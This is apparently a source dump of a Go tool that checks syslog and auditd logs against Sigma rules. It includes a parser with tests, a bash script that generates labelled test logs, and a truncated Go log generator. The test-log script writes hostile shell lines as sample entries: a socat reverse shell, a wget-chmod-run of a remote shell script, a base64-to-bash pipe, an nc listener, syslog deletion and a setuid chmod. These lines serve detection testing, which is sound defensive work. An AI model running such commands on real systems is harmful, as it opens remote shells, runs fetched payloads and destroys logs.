== ':' && // HH: isDigit(line[10]) && isDigit(line[11]) && line[12] == ':' && // MM: isDigit(line[13]) && isDigit(line[14]) { // SS return line[:15], 15 } // rsyslog/ISO8601: starts with four digits and a '-' (YYYY-). // The timestamp ends at the first space. if len(line) >= 5 && isDigit(line[0]) && isDigit(line[1]) && isDigit(line[2]) && isDigit(line[3]) && line[4] == '-' { if idx := strings.IndexByte(line, ' '); idx > 0 { return line[:idx], idx } } return "", 0 } // SyslogEvent represents a parsed syslog entry. type SyslogEvent struct { Facility string // hostname (closest available field without ) Severity string // not available in on-disk syslog format; kept for interface compat Message string // process[pid]: message text Timestamp string } // Keywords satisfies the sigma.Event interface. func (e SyslogEvent) Keywords() ([]string, bool) { return []string{e.Facility, e.Severity, e.Message}, true } // Select satisfies the sigma.Event interface. func (e SyslogEvent) Select(name string) (interface{}, bool) { switch name { case "facility": return e.Facility, true case "severity": return e.Severity, true case "message": return e.Message, true default: return nil, false } } // MappedSyslogEvent wraps a SyslogEvent with field-name translation so that // Sigma rules written with generic field names (e.g. Message, Hostname) are // resolved to syslog-native names before Select is called. type MappedSyslogEvent struct { SyslogEvent m *mapping.Mapping } func (e MappedSyslogEvent) Keywords() ([]string, bool) { return e.SyslogEvent.Keywords() } func (e MappedSyslogEvent) Select(name string) (interface{}, bool) { return e.SyslogEvent.Select(e.m.Resolve(name)) } // ParseEvents reads a syslog file and returns the parsed events. // Lines that do not match a recognised timestamp format are skipped rather than // causing an error, so mixed or partial logs are handled gracefully. func ParseEvents(logFile string) ([]SyslogEvent, error) { file, err := os.Open(logFile) if err != nil { return nil, err } defer file.Close() var events []SyslogEvent scanner := bufio.NewScanner(file) for scanner.Scan() { line := scanner.Text() timestamp, n := parseSyslogTimestamp(line) if timestamp == "" { // Skip lines we cannot parse — don't abort the whole scan. continue } // Everything after the timestamp is "hostname proc[pid]: message". // We store the hostname in Facility and the rest in Message so that // keyword-based Sigma rules can match against process/message content. rest := strings.TrimSpace(line[n:]) var facility, message string if idx := strings.IndexByte(rest, ' '); idx >= 0 { facility = rest[:idx] message = strings.TrimSpace(rest[idx+1:]) } else { message = rest } events = append(events, SyslogEvent{ Facility: facility, Severity: "", Message: message, Timestamp: timestamp, }) } return events, scanner.Err() } // FindLog returns filePath when non-empty, otherwise falls back to the // standard syslog locations. func FindLog(file string) (string, error) { if file != "" { if _, err := os.Stat(file); err != nil { return "", fmt.Errorf("failed to find provided file %v", file) } return file, nil } for _, path := range []string{"/var/log/syslog", "/var/log/messages"} { if _, err := os.Stat(path); err == nil { return path, nil } } return "", fmt.Errorf("no syslog file found at /var/log/syslog or /var/log/messages") } var syslogRenderer = output.Renderer{ Headers: []string{"Timestamp", "Message", "Tags", "Author"}, Row: func(r output.ScanResult) []string { return []string{r.Timestamp, r.Message, output.TagString(r.Tags), r.Author} }, } // Chop scans the syslog against Sigma rules and writes results to stdout. // mappingPath overrides the default mappings/syslog.yml when non-empty. func Chop(rulePath, outputType, filePath, mappingPath string) error { syslogPath, err := FindLog(filePath) if err != nil { return fmt.Errorf("finding syslog: %w", err) } events, err := ParseEvents(syslogPath) if err != nil { return fmt.Errorf("parsing syslog: %w", err) } ruleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}}) if err != nil { return fmt.Errorf("loading ruleset: %w", err) } showProgress := outputType != "json" && outputType != "csv" var bar *progressbar.ProgressBar if showProgress { bar = progressbar.Default(int64(len(events))) } if mappingPath == "" { mappingPath = "mappings/syslog.yml" } m := mapping.LoadOrIdentity(mappingPath, "syslog") var results []output.ScanResult for _, event := range events { mapped := MappedSyslogEvent{event, m} if res, match := ruleset.EvalAll(mapped); match { results = append(results, output.ScanResult{ Timestamp: event.Timestamp, Message: event.Message, Tags: res[0].Tags, Author: res[0].Author, RuleID: res[0].ID, Title: res[0].Title, }) } if showProgress { bar.Add(1) } } if err := output.Write(os.Stdout, outputType, results, syslogRenderer); err != nil { return fmt.Errorf("writing output: %w", err) } if showProgress { fmt.Printf("Processed %d syslog events\n", len(events)) } return nil } // ChopToLog is like Chop but calls log.Fatalf on error, for use from main. func ChopToLog(rulePath, outputType, filePath, mappingPath string) { if err := Chop(rulePath, outputType, filePath, mappingPath); err != nil { log.Fatalf("syslog: %v", err) } } ================================================ FILE: maps/syslog/syslog_test.go ================================================ package syslog import ( "fmt" "os" "path/filepath" "regexp" "strings" "testing" ) const testdataDir = "../../testdata" func TestParseEventsStandardFormat(t *testing.T) { events, err := ParseEvents(filepath.Join(testdataDir, "syslog.log")) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 4 { t.Errorf("expected 4 events, got %d", len(events)) } if events[0].Timestamp == "" { t.Error("expected non-empty timestamp") } if events[0].Message == "" { t.Error("expected non-empty message") } } func TestParseEventsRsyslogFormat(t *testing.T) { events, err := ParseEvents(filepath.Join(testdataDir, "rsyslog.log")) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 3 { t.Errorf("expected 3 events, got %d", len(events)) } // ISO 8601 timestamp should be preserved if !strings.HasPrefix(events[0].Timestamp, "2023-03-01T") { t.Errorf("unexpected rsyslog timestamp: %q", events[0].Timestamp) } } func TestParseEventsSkipsMalformedLines(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "mixed.log") content := "this line has no timestamp and should be skipped\n" + "another bad line\n" + "Mar 1 10:00:01 hostname sshd[1]: message here and more content\n" if err := os.WriteFile(f, []byte(content), 0600); err != nil { t.Fatal(err) } // Must not return an error; bad lines are skipped events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error parsing file with malformed lines: %v", err) } if len(events) != 1 { t.Errorf("expected 1 valid event, got %d", len(events)) } } func TestParseEventsEmptyFile(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "empty.log") if err := os.WriteFile(f, []byte(""), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 0 { t.Errorf("expected 0 events, got %d", len(events)) } } func TestParseEventsMessageContent(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "syslog") line := "Mar 4 09:00:00 host cron[5678]: (root) CMD (rm /var/log/syslog)\n" if err := os.WriteFile(f, []byte(line), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 1 { t.Fatalf("expected 1 event, got %d", len(events)) } if !strings.Contains(events[0].Message, "cron") { t.Errorf("message should contain process info, got: %q", events[0].Message) } } func TestSyslogEventSelect(t *testing.T) { e := SyslogEvent{ Facility: "host1", Severity: "", Message: "sshd[1]: test message", Timestamp: "Mar 1 10:00:01", } if v, ok := e.Select("message"); !ok || v != "sshd[1]: test message" { t.Errorf("Select(message): got %v, ok=%v", v, ok) } if v, ok := e.Select("facility"); !ok || v != "host1" { t.Errorf("Select(facility): got %v, ok=%v", v, ok) } if v, ok := e.Select("severity"); !ok || v != "" { t.Errorf("Select(severity): got %v, ok=%v", v, ok) } if _, ok := e.Select("unknown"); ok { t.Error("Select(unknown) should return false") } } func TestSyslogEventKeywords(t *testing.T) { e := SyslogEvent{ Facility: "myhost", Severity: "", Message: "disk full warning", } keywords, ok := e.Keywords() if !ok { t.Error("Keywords() should return true") } found := false for _, k := range keywords { if strings.Contains(k, "disk full") { found = true } } if !found { t.Errorf("Keywords() should include message content; got %v", keywords) } } func TestFindLogWithExistingFile(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "syslog") if err := os.WriteFile(f, []byte(""), 0600); err != nil { t.Fatal(err) } result, err := FindLog(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if result != f { t.Errorf("expected %q, got %q", f, result) } } func TestFindLogMissingFile(t *testing.T) { _, err := FindLog("/nonexistent/path/syslog") if err == nil { t.Error("expected error for missing file") } } // TestParseSyslogTimestampEquivalence verifies that parseSyslogTimestamp returns // the same timestamp string that the original regex implementations would have // returned, across a representative set of real-world and edge-case lines. func TestParseSyslogTimestampEquivalence(t *testing.T) { syslogRe := regexp.MustCompile(`^([a-zA-Z]{3}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})`) rsyslogRe := regexp.MustCompile(`^((-?(?:[1-9][0-9]*)?[0-9]{4})-(1[0-2]|0[1-9])-(3[01]|0[1-9]|[12][0-9])T(2[0-3]|[01][0-9]):([0-5][0-9]):([0-5][0-9])(\.[0-9]+)?(Z|[+-](?:2[0-3]|[01][0-9]):[0-5][0-9])?)`) regexTimestamp := func(line string) string { if m := syslogRe.FindStringSubmatch(line); m != nil { return m[1] } if m := rsyslogRe.FindStringSubmatch(line); m != nil { return m[1] } return "" } cases := []struct { desc string line string }{ // BSD: single-digit day (space-padded) {"BSD single-digit day", "Mar 1 10:00:01 host sshd[1]: msg"}, {"BSD single-digit day 9", "Dec 9 23:59:59 host sshd[1]: msg"}, // BSD: double-digit day {"BSD double-digit day", "Mar 12 10:00:01 host sshd[1]: msg"}, {"BSD double-digit day 31", "Jan 31 00:00:00 host sshd[1]: msg"}, // BSD: all months {"BSD Jan", "Jan 1 00:00:00 host p[1]: m"}, {"BSD Feb", "Feb 28 23:59:59 host p[1]: m"}, {"BSD Nov", "Nov 30 12:00:00 host p[1]: m"}, // rsyslog: UTC Z {"rsyslog UTC Z", "2023-03-01T10:00:01Z host sshd[1]: msg"}, // rsyslog: positive timezone offset {"rsyslog +offset", "2023-03-01T10:00:01+05:30 host sshd[1]: msg"}, // rsyslog: negative timezone offset {"rsyslog -offset", "2023-03-01T10:00:01-08:00 host sshd[1]: msg"}, // rsyslog: with microseconds {"rsyslog microseconds", "2023-03-01T10:00:01.123456+00:00 host sshd[1]: msg"}, // rsyslog: no fractional seconds {"rsyslog no frac", "2023-01-15T08:30:00+00:00 host sshd[1]: msg"}, // Should NOT match {"empty line", ""}, {"plain text", "this is not a log line"}, {"partial timestamp", "Mar 1"}, } for _, c := range cases { want := regexTimestamp(c.line) got, _ := parseSyslogTimestamp(c.line) if got != want { t.Errorf("%s:\n line: %q\n regex: %q\n hand: %q", c.desc, c.line, want, got) } } } const bsdLine = "Mar 1 10:00:01 hostname sshd[1234]: Accepted publickey for user from 192.168.1.1 port 22" const rsyslogLine = "2023-03-01T10:00:01.123456+00:00 hostname sshd[1234]: Accepted publickey for user from 192.168.1.1 port 22" func BenchmarkParseEventsBSD(b *testing.B) { const n = 100_000 tmp := b.TempDir() f := filepath.Join(tmp, "bsd.log") var sb strings.Builder for i := 0; i < n; i++ { fmt.Fprintf(&sb, "Mar %2d 10:00:01 hostname sshd[%d]: message number %d\n", (i%28)+1, i+1000, i) } if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil { b.Fatal(err) } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { if _, err := ParseEvents(f); err != nil { b.Fatal(err) } } } func BenchmarkParseEventsRsyslog(b *testing.B) { const n = 100_000 tmp := b.TempDir() f := filepath.Join(tmp, "rsyslog.log") var sb strings.Builder for i := 0; i < n; i++ { fmt.Fprintf(&sb, "2023-03-01T10:%02d:%02d.000000+00:00 hostname sshd[%d]: message number %d\n", (i/60)%60, i%60, i+1000, i) } if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil { b.Fatal(err) } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { if _, err := ParseEvents(f); err != nil { b.Fatal(err) } } } ================================================ FILE: scripts/generate_test_logs.sh ================================================ #!/usr/bin/env bash # generate_test_logs.sh # Generates synthetic auditd, syslog, and auth log test files under testdata/. # Entries are a mix of benign activity and events that should trigger # the Sigma rules bundled with this repo. # # Usage: bash scripts/generate_test_logs.sh set -euo pipefail OUTDIR="testdata" AUDITD_LOG="$OUTDIR/generated_auditd.log" SYSLOG_LOG="$OUTDIR/generated_syslog.log" AUTH_LOG="$OUTDIR/generated_auth.log" mkdir -p "$OUTDIR" # ─── Helpers ───────────────────────────────────────────────────────────────── # Base Unix timestamp — fixed so logs are reproducible BASE_TS=1700000000 SEQ=1000 auditd_line() { local offset="$1" # seconds offset from BASE_TS local type="$2" local fields="$3" local ts=$(( BASE_TS + offset )) echo "type=${type} msg=audit(${ts}.000:${SEQ}): ${fields}" SEQ=$(( SEQ + 1 )) } syslog_line() { local month="$1" local day="$2" local time="$3" local host="$4" local proc="$5" local msg="$6" printf "%s %2s %s %s %s: %s\n" "$month" "$day" "$time" "$host" "$proc" "$msg" } # ─── Auditd log ────────────────────────────────────────────────────────────── cat > "$AUDITD_LOG" << 'HEADER' # Generated test auditd log # Lines marked [BENIGN] should produce no detections. # Lines marked [DETECT] should trigger at least one Sigma rule. HEADER echo "" >> "$AUDITD_LOG" echo "# --- Benign activity ---" >> "$AUDITD_LOG" # [BENIGN] Normal SSH login auditd_line 0 "USER_AUTH" \ 'pid=1234 uid=0 auid=4294967295 ses=4294967295 msg='"'"'op=PAM:authentication acct="admin" exe="/usr/sbin/sshd" hostname=10.0.0.5 addr=10.0.0.5 terminal=ssh res=success'"'" \ >> "$AUDITD_LOG" # [BENIGN] Normal file open by root auditd_line 1 "SYSCALL" \ 'arch=c000003e syscall=2 success=yes exit=3 ppid=1 pid=2000 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key=(null)' \ >> "$AUDITD_LOG" # [BENIGN] Normal cron execution auditd_line 2 "EXECVE" \ 'argc=1 a0="run-parts" pid=3000 auid=0' \ >> "$AUDITD_LOG" # [BENIGN] Normal PATH record for /etc/hosts auditd_line 3 "PATH" \ 'item=0 name=/etc/hosts inode=123 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \ >> "$AUDITD_LOG" # [BENIGN] Normal systemd service check auditd_line 4 "SYSCALL" \ 'arch=c000003e syscall=4 success=yes exit=0 ppid=1 pid=2100 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=(none) ses=2 comm="systemctl" exe="/usr/bin/systemctl" key=(null)' \ >> "$AUDITD_LOG" echo "" >> "$AUDITD_LOG" echo "# --- Suspicious activity (should be detected) ---" >> "$AUDITD_LOG" # [DETECT] lnx_auditd_susp_c2_commands — key=susp_activity (nc executed) auditd_line 10 "SYSCALL" \ 'arch=c000003e syscall=59 success=yes exit=0 ppid=4500 pid=4501 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=3 comm="nc" exe="/bin/nc" key=susp_activity' \ >> "$AUDITD_LOG" # [DETECT] lnx_auditd_susp_c2_commands — key=susp_activity (wget executed) auditd_line 11 "SYSCALL" \ 'arch=c000003e syscall=59 success=yes exit=0 ppid=4500 pid=4502 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=3 comm="wget" exe="/usr/bin/wget" key=susp_activity' \ >> "$AUDITD_LOG" # [DETECT] lnx_auditd_system_info_discovery — type=EXECVE a0=uname auditd_line 20 "EXECVE" \ 'argc=2 a0=uname a1=-a pid=5000 auid=1000' \ >> "$AUDITD_LOG" # [DETECT] lnx_auditd_system_info_discovery — type=EXECVE a0=hostname auditd_line 21 "EXECVE" \ 'argc=1 a0=hostname pid=5001 auid=1000' \ >> "$AUDITD_LOG" # [DETECT] lnx_auditd_system_info_discovery — type=PATH name=/etc/issue auditd_line 22 "PATH" \ 'item=0 name=/etc/issue inode=456 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \ >> "$AUDITD_LOG" # [DETECT] lnx_auditd_password_policy_discovery — type=PATH name=/etc/login.defs auditd_line 30 "PATH" \ 'item=0 name=/etc/login.defs inode=789 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \ >> "$AUDITD_LOG" # [DETECT] lnx_auditd_password_policy_discovery — type=EXECVE a0=chage a1=--list auditd_line 31 "EXECVE" \ 'argc=3 a0=chage a1=--list a2=root pid=6000 auid=1000' \ >> "$AUDITD_LOG" # [DETECT] lnx_auditd_password_policy_discovery — type=EXECVE a0=passwd a1=-S auditd_line 32 "EXECVE" \ 'argc=2 a0=passwd a1=-S pid=6001 auid=1000' \ >> "$AUDITD_LOG" echo "Generated: $AUDITD_LOG" # ─── Syslog log ────────────────────────────────────────────────────────────── { echo "# Generated test syslog log" echo "# Lines marked [BENIGN] should produce no detections." echo "# Lines marked [DETECT] should trigger at least one Sigma rule." echo "" echo "# --- Benign activity ---" # [BENIGN] Normal SSH login syslog_line "Nov" 14 "10:00:01" "webserver" "sshd[1234]" "Accepted publickey for deploy from 10.0.0.5 port 51234 ssh2" # [BENIGN] Normal sudo usage syslog_line "Nov" 14 "10:01:00" "webserver" "sudo[2000]" "admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt-get update" # [BENIGN] Normal cron job syslog_line "Nov" 14 "10:05:01" "webserver" "cron[3000]" "(root) CMD (/usr/lib/update-notifier/apt-check --human-readable)" # [BENIGN] Normal service start syslog_line "Nov" 14 "10:06:00" "webserver" "systemd[1]" "Started OpenBSD Secure Shell server." # [BENIGN] Normal kernel message syslog_line "Nov" 14 "10:07:15" "webserver" "kernel" "EXT4-fs (sda1): mounted filesystem with ordered data mode." echo "" echo "# --- Suspicious activity (should be detected) ---" # [DETECT] lnx_syslog_security_tools_disabling_syslog — 'stopping iptables' syslog_line "Nov" 14 "11:00:01" "webserver" "systemd[1]" "stopping iptables firewall service" # [DETECT] lnx_syslog_security_tools_disabling_syslog — 'stopping firewalld' syslog_line "Nov" 14 "11:00:05" "webserver" "systemd[1]" "stopping firewalld dynamic firewall daemon" # [DETECT] lnx_clear_syslog — 'rm /var/log/syslog' syslog_line "Nov" 14 "11:05:00" "webserver" "bash[9001]" "rm /var/log/syslog" # [DETECT] lnx_clear_syslog — 'rm -rf /var/log/syslog' syslog_line "Nov" 14 "11:05:02" "webserver" "bash[9002]" "rm -rf /var/log/syslog" # [DETECT] lnx_shell_susp_commands — 'nc -l -p *' syslog_line "Nov" 14 "11:10:00" "webserver" "bash[9100]" "nc -l -p 4444" # [DETECT] lnx_shell_susp_commands — 'socat exec:*' syslog_line "Nov" 14 "11:10:05" "webserver" "bash[9101]" "socat exec:/bin/bash,pty,stderr,setsid tcp:10.0.0.99:4444" # [DETECT] lnx_shell_susp_commands — 'wget *; chmod +x*' syslog_line "Nov" 14 "11:15:00" "webserver" "bash[9200]" "wget http://10.0.0.99/shell.sh; chmod +x shell.sh; ./shell.sh" # [DETECT] lnx_shell_susp_commands — '| base64 -d ' syslog_line "Nov" 14 "11:15:10" "webserver" "bash[9201]" "echo aGVsbG8= | base64 -d | bash" # [DETECT] lnx_shell_susp_commands — 'chmod +s /tmp/*' syslog_line "Nov" 14 "11:20:00" "webserver" "bash[9300]" "chmod +s /tmp/rootkit" } > "$SYSLOG_LOG" echo "Generated: $SYSLOG_LOG" # ─── Auth log ───────────────────────────────────────────────────────────────── # auth.log uses the same syslog format — scan it with: # -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log { echo "# Generated test auth log" echo "# Lines marked [BENIGN] should produce no detections." echo "# Lines marked [DETECT] should trigger at least one Sigma rule." echo "" echo "# --- Benign activity ---" # [BENIGN] Successful password auth syslog_line "Nov" 14 "10:00:01" "server" "sshd[1001]" "Accepted password for alice from 10.0.0.10 port 52345 ssh2" # [BENIGN] Successful key auth syslog_line "Nov" 14 "10:00:05" "server" "sshd[1002]" "Accepted publickey for bob from 10.0.0.11 port 52400 ssh2" # [BENIGN] Normal session open syslog_line "Nov" 14 "10:00:06" "server" "sshd[1002]" "pam_unix(sshd:session): session opened for user bob by (uid=0)" # [BENIGN] Failed password (normal brute-force noise, not an exploit attempt) syslog_line "Nov" 14 "10:01:00" "server" "sshd[1003]" "Failed password for invalid user ftp from 1.2.3.4 port 41234 ssh2" # [BENIGN] Normal session close syslog_line "Nov" 14 "10:05:00" "server" "sshd[1002]" "pam_unix(sshd:session): session closed for user bob" echo "" echo "# --- Suspicious activity (should be detected) ---" # [DETECT] lnx_sshd_susp_ssh — 'error in libcrypto' (exploit attempt) syslog_line "Nov" 14 "11:00:01" "server" "sshd[2001]" "error in libcrypto" # [DETECT] lnx_sshd_susp_ssh — 'unexpected internal error' syslog_line "Nov" 14 "11:00:02" "server" "sshd[2002]" "unexpected internal error from 1.2.3.4 port 55123" # [DETECT] lnx_sshd_susp_ssh — 'bad client public DH value' syslog_line "Nov" 14 "11:00:03" "server" "sshd[2003]" "bad client public DH value from 1.2.3.4 port 55124" # [DETECT] lnx_sshd_susp_ssh — 'Corrupted MAC on input' syslog_line "Nov" 14 "11:00:04" "server" "sshd[2004]" "Corrupted MAC on input" # [DETECT] lnx_sshd_susp_ssh — 'Local: crc32 compensation attack' syslog_line "Nov" 14 "11:00:05" "server" "sshd[2005]" "Local: crc32 compensation attack detected" } > "$AUTH_LOG" echo "Generated: $AUTH_LOG" # ─── Summary ───────────────────────────────────────────────────────────────── cat << 'EOF' Run against generated logs: # Auditd go run . -target auditd -rules ./rules/linux/auditd/ -file testdata/generated_auditd.log # Syslog go run . -target syslog -rules ./rules/linux/builtin/ -file testdata/generated_syslog.log # Auth log (uses syslog target + sshd rules) go run . -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log # JSON output go run . -target auditd -rules ./rules/linux/auditd/ -file testdata/generated_auditd.log -out json go run . -target syslog -rules ./rules/linux/builtin/ -file testdata/generated_syslog.log -out json go run . -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log -out json # Sanity check — benign-only files, expect zero hits go run . -target auditd -rules ./rules/linux/auditd/ -file testdata/auditd.log -out json go run . -target syslog -rules ./rules/linux/builtin/ -file testdata/syslog.log -out json Expected auditd detections: - Suspicious C2 Activities (nc, wget with key=susp_activity) - System Information Discovery (uname, hostname, /etc/issue) - Password Policy Discovery (chage --list, passwd -S, /etc/login.defs) Expected syslog detections: - Disabling Security Tools (stopping iptables, stopping firewalld) - Commands to Clear or Remove Syslog (rm /var/log/syslog) - Suspicious Activity in Shell Commands (nc -l -p, socat exec, wget+chmod, base64 -d, chmod +s) Expected auth log detections: - Suspicious OpenSSH Daemon Error (error in libcrypto, bad DH value, Corrupted MAC, crc32 attack) EOF ================================================ FILE: scripts/genlog/main.go ================================================ // genlog generates synthetic auditd, syslog, and auth log files for testing. // // Usage: // // go run ./scripts/genlog [flags] // // Flags: // // -seed int random seed (default: random, printed so you can replay) // -count int approximate number of events per log file (default: 200) // -ratio float fraction of events that are suspicious (default: 0.2) // -out string output directory (default: testdata) package main import ( "flag" "fmt" "math/rand" "os" "path/filepath" "time" ) // ─── CLI ───────────────────────────────────────────────────────────────────── func main() { seedFlag := flag.Int64("seed", 0, "random seed (0 = use current time)") count := flag.Int("count", 200, "approximate events per log file") ratio := flag.Float64("ratio", 0.2, "fraction of events that should be suspicious (0.0–1.0)") outDir := flag.String("out", "testdata", "output directory") flag.Parse() seed := *seedFlag if seed == 0 { seed = time.Now().UnixNano() } fmt.Printf("seed: %d (replay with -seed %d)\n", seed, seed) if err := os.MkdirAll(*outDir, 0755); err != nil { fmt.Fprintf(os.Stderr, "error creating output dir: %v\n", err) os.Exit(1) } rng := rand.New(rand.NewSource(seed)) baseTime := time.Date(2023, 11, 14, 8, 0, 0, 0, time.UTC) files := []struct { name string fn func(*rand.Rand, time.Time, int, float64) ([]entry, time.Time) }{ {"generated_auditd.log", generateAuditd}, {"generated_syslog.log", generateSyslog}, {"generated_auth.log", generateAuth}, } for _, f := range files { entries, _ := f.fn(rng, baseTime, *count, *ratio) path := filepath.Join(*outDir, f.name) if err := writeLog(path, entries); err != nil { fmt.Fprintf(os.Stderr, "error writing %s: %v\n", path, err) os.Exit(1) } printSummary(path, entries) } } // ─── Entry ─────────────────────────────────────────────────────────────────── type entry struct { line string rule string // empty = benign } func (e entry) suspicious() bool { return e.rule != "" } func writeLog(path string, entries []entry) error { f, err := os.Create(path) if err != nil { return err } defer f.Close() fmt.Fprintf(f, "# Generated by genlog — %s\n", time.Now().UTC().Format(time.RFC3339)) fmt.Fprintf(f, "# Benign entries produce no rule matches.\n") fmt.Fprintf(f, "# Entries with a rule comment should trigger that rule.\n\n") for _, e := range entries { if e.suspicious() { fmt.Fprintf(f, "# [DETECT] %s\n", e.rule) } fmt.Fprintln(f, e.line) } return nil } func printSummary(path string, entries []entry) { susp := 0 rules := map[string]int{} for _, e := range entries { if e.suspicious() { susp++ rules[e.rule]++ } } fmt.Printf("\n%s\n", path) fmt.Printf(" total: %d suspicious: %d benign: %d\n", len(entries), susp, len(entries)-susp) for rule, n := range rules { fmt.Printf(" %-55s x%d\n", rule, n) } } // ─── Helpers ───────────────────────────────────────────────────────────────── func pick[T any](rng *rand.Rand, items []T) T { return items[rng.Intn(len(items))] } func randPID(rng *rand.Rand) int { return rng.Intn(64535) + 1000 } func randUID(rng *rand.Rand) int { return pick(rng, []int{0, 0, 1000, 1001, 1002}) } func advanceTime(rng *rand.Rand, cur time.Time) time.Time { // Random gap between 1 second and 3 minutes secs := time.Duration(rng.Intn(180)+1) * time.Second return cur.Add(secs) } var ( hostnames = []string{"webserver", "db-01", "dev-box", "bastion", "worker-3", "fileserver"} usernames = []string{"alice", "bob", "deploy", "admin", "charlie", "svc-backup"} srcIPs = []string{"10.0.0.5", "10.0.0.11", "192.168.1.50", "172.16.4.22", "10.10.0.99"} ) // ─── Auditd ────────────────────────────────────────────────────────────────── func generateAuditd(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) { cur := start seq := 1000 + rng.Intn(500) var entries []entry for i := 0; i < count; i++ { cur = advanceTime(rng, cur) seq += rng.Intn(3) + 1 ts := cur.Unix() if rng.Float64() < ratio { // Suspicious events are correlated groups so merged events have // fully populated columns (exe, auid, pid from SYSCALL). entries = append(entries, auditdSuspicious(rng, ts, seq)...) } else { entries = append(entries, auditdBenign(rng, ts, seq)) } } return entries, cur } func auditField(ts int64, seq int, typ, fields string) string { return fmt.Sprintf("type=%s msg=audit(%d.%03d:%d): %s", typ, ts, 0, seq, fields) } func auditdBenign(rng *rand.Rand, ts int64, seq int) entry { pid := randPID(rng) uid := rng.Intn(2) * 1000 // 0 or 1000 type tmpl struct{ typ, fields string } templates := []tmpl{ // Normal file reads {"SYSCALL", fmt.Sprintf( "arch=c000003e syscall=2 success=yes exit=3 ppid=%d pid=%d auid=%d uid=%d gid=%d euid=%d suid=%d fsuid=%d egid=%d sgid=%d fsgid=%d tty=pts0 ses=1 comm=%q exe=%q key=(null)", randPID(rng), pid, uid, uid, uid, uid, uid, uid, uid, uid, uid, pick(rng, []string{"cat", "ls", "grep", "stat", "head"}), pick(rng, []string{"/bin/cat", "/bin/ls", "/bin/grep", "/usr/bin/stat"}), )}, // Normal EXECVE {"EXECVE", fmt.Sprintf( "argc=1 a0=%q pid=%d auid=%d", pick(rng, []string{"run-parts", "systemctl", "apt-check", "logrotate", "update-notifier"}), pid, uid, )}, // Normal PATH {"PATH", fmt.Sprintf( "item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL", pick(rng, []string{"/etc/hosts", "/etc/resolv.conf", "/var/log/syslog", "/etc/crontab", "/proc/cpuinfo"}), rng.Intn(999999)+1000, )}, // Successful auth {"USER_AUTH", fmt.Sprintf( "pid=%d uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct=%q exe=\"/usr/sbin/sshd\" hostname=%s addr=%s terminal=ssh res=success'", pid, pick(rng, usernames), pick(rng, srcIPs), pick(rng, srcIPs), )}, // Normal CWD {"CWD", fmt.Sprintf( "cwd=%q", pick(rng, []string{"/home/alice", "/root", "/var/log", "/tmp", "/opt/app"}), )}, } chosen := templates[rng.Intn(len(templates))] return entry{line: auditField(ts, seq, chosen.typ, chosen.fields)} } // auditdSuspicious returns a correlated group of records sharing the same seq. // The SYSCALL record always comes first so correlation merges exe/auid/pid into // the final event — whatever subsequent record type triggers the sigma rule, // the output row will have fully populated columns. func auditdSuspicious(rng *rand.Rand, ts int64, seq int) []entry { pid := randPID(rng) ppid := randPID(rng) auid := 1000 + rng.Intn(3) type suspTmpl struct { comm, exe string // for SYSCALL secondType string // EXECVE or PATH secondFields string rule string } templates := []suspTmpl{ // lnx_auditd_susp_c2_commands { comm: pick(rng, []string{"nc", "ncat", "socat", "nmap", "base64", "wget", "curl"}), exe: pick(rng, []string{"/bin/nc", "/usr/bin/ncat", "/usr/bin/socat", "/usr/bin/nmap", "/usr/bin/base64", "/usr/bin/wget", "/usr/bin/curl"}), secondType: "EXECVE", secondFields: fmt.Sprintf("argc=2 a0=%q a1=%q", pick(rng, []string{"nc", "ncat", "socat"}), pick(rng, srcIPs), ), rule: "lnx_auditd_susp_c2_commands", }, // lnx_auditd_system_info_discovery { comm: pick(rng, []string{"uname", "hostname", "lsmod", "env"}), exe: pick(rng, []string{"/usr/bin/uname", "/usr/bin/hostname", "/sbin/lsmod", "/usr/bin/env"}), secondType: "EXECVE", secondFields: fmt.Sprintf("argc=2 a0=%q a1=%q", pick(rng, []string{"uname", "hostname"}), pick(rng, []string{"-a", "-r", "--all"}), ), rule: "lnx_auditd_system_info_discovery", }, // lnx_auditd_system_info_discovery via PATH { comm: "cat", exe: "/bin/cat", secondType: "PATH", secondFields: fmt.Sprintf("item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL", pick(rng, []string{"/etc/lsb-release", "/etc/redhat-release", "/etc/issue"}), rng.Intn(999999)+1000, ), rule: 